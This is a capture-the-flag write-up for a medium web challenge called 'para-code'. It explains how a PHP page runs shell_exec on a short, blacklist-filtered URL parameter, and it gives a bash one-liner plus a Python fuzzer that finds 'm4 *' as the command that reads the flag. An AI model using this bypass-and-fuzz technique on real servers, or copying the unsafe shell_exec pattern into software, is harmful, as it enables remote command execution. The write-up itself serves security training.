# para-code

| Info       | Details              |
| ---------- | -------------------- |
| Category   | **Web Exploitation** |
| Difficulty | **Medium**           |

## Challenge Overview

This is a common web challenge where we see the source code only after we access the **index.php.**

```php
<?php
require __DIR__ . '/flag.php';
if (!isset($_GET['start'])){
    show_source(__FILE__);
    exit;
} 
```

it means that if there is no start path in the url, we get the source code, which is a serious vulerabilty because we could understand how to get the flag.

## Blacklist Filtering

the next important line of code is:

```php
$blackList = array(
  'ss','sc','aa', .. );
```

where we understand that in the start path we shouldn t have nothing of what is above. That **blacklist** system could potentially be bypassed.

## Command Length Restriction

```php
if (strlen($_GET['start']) < 5){
  echo shell_exec($_GET['start']);
} else {
  echo "Please enter a valid command";
}
```

* The length of the command should be 4 or less.

## Vulnerability Analysis

With these **3 important parts**, I understand the the type of challenge I'm tackling so that s what I did to exploit this **vulnerability** (**Remote Code Execution**).

## Payload Generation

```bash
comm -23 \
<(compgen -c | grep '^..$' | sort -u) \
<(echo -e "ss\nsc\naa\nod\npr\npw\npf\nps\npa\npd\npp\npo\npc\npz\npq\npt\npu\npv\npw\npx\npy\npk\npj\npl\npm\npn\nls\ndd\nnl\nnk\ndf\nwc\ndu" | sort -u) \
| awk '{print $0 " *"}' > att.txt
```

This command generates **all 2-character** shell commands that are not blacklisted, and appends \* to each one, allowing to be fuzzed with a **tool/python script**.

> Note: It's important to change your shell to BASH instead of ZSH to get ALL commands.

## Fuzzing the start Parameter

Then fuzz the start path using a tool or a script like this one:

```python
import requests
URL = "http://35.246.200.178:32296/?start=FUZZ"

with open("att.txt", "r") as file:
    lines = file.readlines()

for line in lines:
    fuzz_value = line.strip()
    new_url = URL.replace("FUZZ", fuzz_value) 

    response = requests.get(new_url)
    print(f"URL: {new_url}")
    print(f"Response: {response.text}\n")
```

## Flag Disclosure

It seems that **m4** \* was the right command which reveal the flag. If you had created all these one in **ZSH Shell** you wouldn't have got **m4** and that was the **only correct solution.**

*made by k0d*
